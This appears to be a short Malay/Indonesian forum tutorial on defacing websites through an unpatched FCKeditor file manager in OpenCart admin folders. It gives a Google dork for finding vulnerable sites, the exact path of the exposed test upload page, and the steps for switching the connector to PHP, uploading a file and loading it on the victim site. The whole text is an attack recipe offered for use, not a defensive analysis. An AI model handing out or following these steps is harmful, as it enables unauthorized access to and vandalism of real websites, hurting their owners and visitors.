FCKeditor..

Assalamualaikum semua , cara-2 mendeface website senag sahaja , caranya mudah saja .

caranya seperti berikut .

===================================================================================================



deface menggunakan file.html



dork : :Powered by Opencart site:.com





[+] exploit : /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html



msukan dork digoogle..

cari satu persatu web yg msih punya bug (belum di patch)



terus msukan exploitnya..

contoh :

www.situstarget.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html





-ganti connector : ASP ke PHP

-pilih file

-upload



okay , macam mana dengan pencarian website target ?

kalau sudah jumpa ,

tambah dibelakangnya seperti berikut:



www.situstarget.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/FileKamu.html

jadi :

www.situstarget.com/NamaFileKorang.html

enter.....

selesai :D



Pastikan cari site yg belakang nye mcm ni...---->www.example.com *.com*